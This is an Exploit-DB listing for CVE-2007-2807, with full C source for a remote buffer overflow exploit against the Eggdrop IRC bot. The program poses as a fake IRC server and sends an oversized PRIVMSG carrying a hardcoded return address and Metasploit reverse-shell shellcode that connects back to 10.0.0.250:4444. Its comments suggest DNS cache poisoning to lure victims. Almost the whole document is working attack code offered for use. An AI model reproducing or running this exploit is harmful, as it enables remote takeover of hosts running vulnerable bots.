标题: Eggdrop Server Module Message Handling - Remote Buffer Overflow EDB-ID: 4514 CVE: 2007-2807 类型: REMOTE 平台: LINUX 发布日期: 2007-10-10 漏洞利用脚本: /* 
  Eggdrop Server Module Message Handling Remote Buffer Overflow Vulnerability
  https://www.securityfocus.com/bid/24070
  discovered by Bow Sineath
  tested on eggdrop 1.6.18 / linux 2.4

  -exploit is a fake ircd

  replace shellcode.. strip 0x00,0x0a and a few more probably.
  remember to add \n at end of shellcode.
  poison some dns cache or .jump
  play.

  -bangus/magnum
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>

#define LISTENPORT 6667
#define BACKLOG 3
#define RETADDR 0xbffff7b9


/*
 * linux/x86/shell_reverse_tcp - 99 bytes
 * http://www.metasploit.com
 * Encoder: x86/shikata_ga_nai
 * LPORT=4444, LHOST=10.0.0.250
 */

unsigned char shellcode[] =
 "\xbf\x1a\x2f\xf0\x55\xdb\xc9\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
 "\x13\x31\x7b\x12\x83\xeb\xfc\x03\x61\x21\x12\xa0\xa4\xe6\x81"
 "\x08\x95\x72\x24\xe5\x7f\xdb\xa1\x18\xb2\x5b\x22\x83\xfc\x63"
 "\x88\xb4\xb5\xe2\xeb\xee\x1f\x7d\x06\x11\x9f\x87\x70\x79\x8e"
 "\x2b\x3e\x1f\xe3\x5a\x21\x6f\x65\x0d\xf3\xc3\xe0\x4c\xb0\x2e"
 "\x72\xdc\x5f\x9e\x5d\x92\xf7\x88\x8e\x36\x61\x27\x59\x55\x23"
 "\xe4\xd0\x7b\x74\x01\x2f\xfb\x75\x16"
 "\n";           

char *req=
":hybrid7.debian.local NOTICE AUTH :*** Looking up your hostname...\n"
":hybrid7.debian.local NOTICE AUTH :*** Checking Ident\n"
":hybrid7.debian.local NOTICE AUTH :*** No Ident response\n"
":hybrid7.debian.local NOTICE AUTH :*** Your forward and reverse DNS do not match, ignoring hostname.\n"
":hybrid7.debian.local 001 tata :Welcome to the debian Internet Relay Chat Network tata\n"
":hybrid7.debian.local 002 tata :Your host is hybrid7.debian.local[127.0.0.1/6667], running version hybrid-7.2.2.dfsg.1-debian-3\n"
":hybrid7.debian.local 003 tata :This server was created Dec  6 2006 at 19:21:25\n"
":hybrid7.debian.local 004 tata hybrid7.debian.local hybrid-7.2.2.dfsg.1-debian-3 DGabcdfgiklnorsuwxyz biklmnopstveIh bkloveIh\n"
":hybrid7.debian.local 005 tata CALLERID CASEMAPPING=rfc1459 DEAF=D KICKLEN=160 MODES=4 NICKLEN=15 PREFIX=(ohv)@%+ STATUSMSG=@%+ TOPICLEN=350 NETWORK=debian MAXLIST=beI:25 MAXTARGETS=4 CHANTYPES=#& :are supported by this server\n"
":hybrid7.debian.local 005 tata CHANLIMIT=#&:15 CHANNELLEN=50 EXCEPTS=e INVEX=I CHANMODES=eIb,k,l,imnpst AWAYLEN=160 KNOCK ELIST=CMNTU SAFELIST :are supported by this server\n"
":hybrid7.debian.local 251 tata :There are 0 users and 3 invisible on 1 servers\n"
":hybrid7.debian.local 254 tata 1 :channels formed\n"
":hybrid7.debian.local 255 tata :I have 3 clients and 0 servers\n"
":hybrid7.debian.local 265 tata :Current local users: 3  Max: 3\n"
":hybrid7.debian.local 266 tata :Current global users: 3  Max: 3\n"
":hybrid7.debian.local 250 tata :Highest connection count: 3 (3 clients) (10 connections received)\n"
":hybrid7.debian.local 375 tata :- hybrid7.debian.local Message of the Day - \n"
":hybrid7.debian.local 376 tata :End of /MOTD command.\n"
":tata!ab@i.love.debian.org MODE tata :+i\n";

int main() {

 int s,conn;
 struct sockaddr_in addr, cli_addr;
 int size = sizeof(struct sockaddr_in);
 unsigned long retaddr=RETADDR;
 char data[393+sizeof(shellcode)];

 if ((s = socket(AF_INET, SOCK_STREAM,0)) == -1) {
      perror("socket");
      return(-1);
 }

 memset((char *) &addr, 0, sizeof(struct sockaddr_in));

 addr.sin_family = AF_INET;
 addr.sin_port = htons(LISTENPORT);
 addr.sin_addr.s_addr = htonl(INADDR_ANY);

 if (bind(s,(struct sockaddr *)&addr, size) == -1) {
      perror("bind");
  return(-1);
 }
 
 if (listen(s,BACKLOG) == -1) {
      perror("listen");
  return(-1);
 }

 while(1) {

  conn = accept(s, (struct sockaddr *)&cli_addr, &size);
  if (conn == -1) {
   perror("accept");
   return (-1);  
  }

  printf("connection from %s.\n", inet_ntoa(cli_addr.sin_addr));

  sleep(1);

  printf("sending greeting.\n");
  send(conn,req,strlen(req),0);

  sleep(1);

         memset(data, 0x41, sizeof(data));
         memcpy(data,":",1); 
         memcpy(data+365, &retaddr, sizeof(long));
         memcpy(data+369," PRIVMSG Lamestb0t :test",24);
  memcpy(data+393,shellcode,sizeof(shellcode));

  printf("sending %d bytes of data.\n",sizeof(data));
  send(conn,data, sizeof(data), 0);
 
  sleep(10);

  printf("closing connection.\n");
  close(conn);

 }

 close(s);

 return 0;
}

// milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4514